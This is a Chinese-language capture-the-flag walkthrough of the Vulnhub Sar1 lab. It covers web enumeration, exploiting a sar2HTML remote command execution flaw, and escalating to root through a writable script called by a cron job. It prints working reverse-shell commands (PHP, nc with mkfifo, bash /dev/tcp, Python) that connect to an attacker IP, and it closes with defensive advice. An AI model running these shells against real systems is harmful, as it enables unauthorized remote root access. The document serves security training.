OSCP渗透靶场之Vulnhub-Sar1
字数 1223 2025-08-10 23:41:58

Vulnhub-Sar1 渗透测试实战教学文档

靶机概述

Vulnhub-Sar1 是一个基于 Vulnhub 的渗透测试靶机,主要涉及以下知识点:

  1. 利用计划任务进行提权
  2. 远程命令执行漏洞利用
  3. Linux 文件权限操作
  4. 使用 LinPEAS 进行目标脆弱性枚举

0x01 信息收集 (Reconnaissance)

1.1 初始扫描

使用 nmap 进行目标主机信息探测:

nmap -sC -sV -p- -v -A 192.168.56.101

扫描结果关键信息:

  • 开放端口:80/tcp (HTTP)
  • 服务版本:Apache httpd 2.4.29 (Ubuntu)
  • 操作系统:Linux 4.15 - 5.6
  • MAC地址:08:00:27:E7:1E:1D (Oracle VirtualBox虚拟网卡)

1.2 Web目录枚举

使用 dirbuster 进行目录扫描,发现关键文件:

  • http://wordy/robots.txt
  • robots.txt 中暴露了 /sar2HTML 目录

0x02 漏洞利用

2.1 漏洞识别

在 ExploitDatabase 中搜索 "sar2HTML",发现存在远程命令执行(RCE)漏洞:

  • 漏洞利用脚本:49344.py

2.2 获取反弹shell

  1. 执行漏洞利用脚本:
python3 49344.py
  1. 使用PHP反弹shell命令(需URL编码):
php -r '$sock=fsockopen("192.168.56.102",1234);exec("/bin/bash -i <&3 >&3 2>&3");'

其中:

  • 192.168.56.102:攻击者(Kali)IP
  • 1234:攻击者监听端口

0x03 权限提升

3.1 目标主机文件分析

获取反弹shell后,在 /var/www/html 目录发现两个关键文件:

  1. finally.sh:只有root用户有写权限
  2. write.sh:www-data用户有读写执行权限

finally.sh 内容分析:

#!/bin/bash
bash /var/www/html/write.sh

该脚本会在执行时调用同一目录下的 write.sh

3.2 计划任务提权

  1. 修改 write.sh 内容:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1 | nc 192.168.56.102 443 >/tmp/f" > write.sh

其中:

  • 192.168.56.102:攻击者(Kali)IP
  • 443:攻击者监听端口
  1. 等待计划任务执行(约5分钟内):
  • 系统会以root权限执行 finally.sh
  • finally.sh 调用我们修改后的 write.sh
  • 在攻击者443端口获得root权限的反弹shell

0x04 技术要点总结

4.1 关键知识点

  1. 信息收集

    • nmap 全面扫描技巧
    • 目录枚举与robots.txt利用
    • 漏洞数据库搜索技巧
  2. 漏洞利用

    • 远程命令执行漏洞识别
    • 反弹shell构造与编码
    • 不同语言反弹shell的实现
  3. 权限提升

    • Linux文件权限分析
    • 计划任务(cron)利用
    • 通过可写脚本实现权限提升

4.2 防御建议

  1. 对于系统管理员:

    • 定期检查计划任务配置
    • 严格控制脚本文件的权限
    • 及时更新存在已知漏洞的组件
  2. 对于开发人员:

    • 避免在web应用中执行系统命令
    • 对用户输入进行严格过滤
    • 不要在生产环境暴露调试信息

附录:常用命令参考

  1. 信息收集:

    nmap -sC -sV -p- -v -A <target_ip>
    dirb http://<target_ip>
    
  2. 反弹shell:

    # Bash
    bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
    
    # Python
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
  3. 权限检查:

    find / -perm -4000 -type f 2>/dev/null  # 查找SUID文件
    crontab -l                                # 查看当前用户计划任务
    ls -la /etc/cron*                         # 查看系统计划任务
    
Vulnhub-Sar1 渗透测试实战教学文档 靶机概述 Vulnhub-Sar1 是一个基于 Vulnhub 的渗透测试靶机,主要涉及以下知识点: 利用计划任务进行提权 远程命令执行漏洞利用 Linux 文件权限操作 使用 LinPEAS 进行目标脆弱性枚举 0x01 信息收集 (Reconnaissance) 1.1 初始扫描 使用 nmap 进行目标主机信息探测: 扫描结果关键信息: 开放端口:80/tcp (HTTP) 服务版本:Apache httpd 2.4.29 (Ubuntu) 操作系统:Linux 4.15 - 5.6 MAC地址:08:00:27:E7:1E:1D (Oracle VirtualBox虚拟网卡) 1.2 Web目录枚举 使用 dirbuster 进行目录扫描,发现关键文件: http://wordy/robots.txt robots.txt 中暴露了 /sar2HTML 目录 0x02 漏洞利用 2.1 漏洞识别 在 ExploitDatabase 中搜索 "sar2HTML",发现存在远程命令执行(RCE)漏洞: 漏洞利用脚本:49344.py 2.2 获取反弹shell 执行漏洞利用脚本: 使用PHP反弹shell命令(需URL编码): 其中: 192.168.56.102:攻击者(Kali)IP 1234:攻击者监听端口 0x03 权限提升 3.1 目标主机文件分析 获取反弹shell后,在 /var/www/html 目录发现两个关键文件: finally.sh :只有root用户有写权限 write.sh :www-data用户有读写执行权限 finally.sh 内容分析: 该脚本会在执行时调用同一目录下的 write.sh 3.2 计划任务提权 修改 write.sh 内容: 其中: 192.168.56.102:攻击者(Kali)IP 443:攻击者监听端口 等待计划任务执行(约5分钟内): 系统会以root权限执行 finally.sh finally.sh 调用我们修改后的 write.sh 在攻击者443端口获得root权限的反弹shell 0x04 技术要点总结 4.1 关键知识点 信息收集 : nmap 全面扫描技巧 目录枚举与robots.txt利用 漏洞数据库搜索技巧 漏洞利用 : 远程命令执行漏洞识别 反弹shell构造与编码 不同语言反弹shell的实现 权限提升 : Linux文件权限分析 计划任务(cron)利用 通过可写脚本实现权限提升 4.2 防御建议 对于系统管理员: 定期检查计划任务配置 严格控制脚本文件的权限 及时更新存在已知漏洞的组件 对于开发人员: 避免在web应用中执行系统命令 对用户输入进行严格过滤 不要在生产环境暴露调试信息 附录:常用命令参考 信息收集: 反弹shell: 权限检查: